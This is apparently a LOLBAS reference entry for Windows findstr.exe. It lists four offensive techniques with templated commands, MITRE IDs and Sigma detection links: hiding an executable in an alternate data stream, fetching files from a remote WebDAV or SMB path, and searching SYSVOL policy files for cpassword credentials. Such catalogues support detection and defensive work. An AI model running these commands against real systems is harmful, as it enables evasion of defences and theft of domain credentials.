LOL · Binary

Findstr.exe

4 techniques WindowsLOLBAS GPL-3.0

Defense EvasionFile Write Windows

Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file.

Use Add a file to an alternate data stream to hide from defensive counter measures

findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe

Context: user
Native: ADS
MITRE: T1564.004
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml
Refs: oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
lolbas-project.github.io/lolbas/Binaries/Findstr/

Defense EvasionFile Write Windows

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

Use Add a file to an alternate data stream from a webdav server to hide from defensive counter measures

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe

Context: user
Native: ADS
MITRE: T1564.004
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml
Refs: oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
lolbas-project.github.io/lolbas/Binaries/Findstr/

Credentials

Credential Access Windows

Search for stored password in Group Policy files stored on SYSVOL.

Use Find credentials stored in cpassword attrbute

findstr /S /I cpassword \\sysvol\policies\*.xml

Context: user
Native: Credentials
MITRE: T1552.001
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml
Refs: oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
lolbas-project.github.io/lolbas/Binaries/Findstr/

Download

File Download Windows

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.

Use Download/Copy file from webdav server

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}

Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml
Refs: oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
lolbas-project.github.io/lolbas/Binaries/Findstr/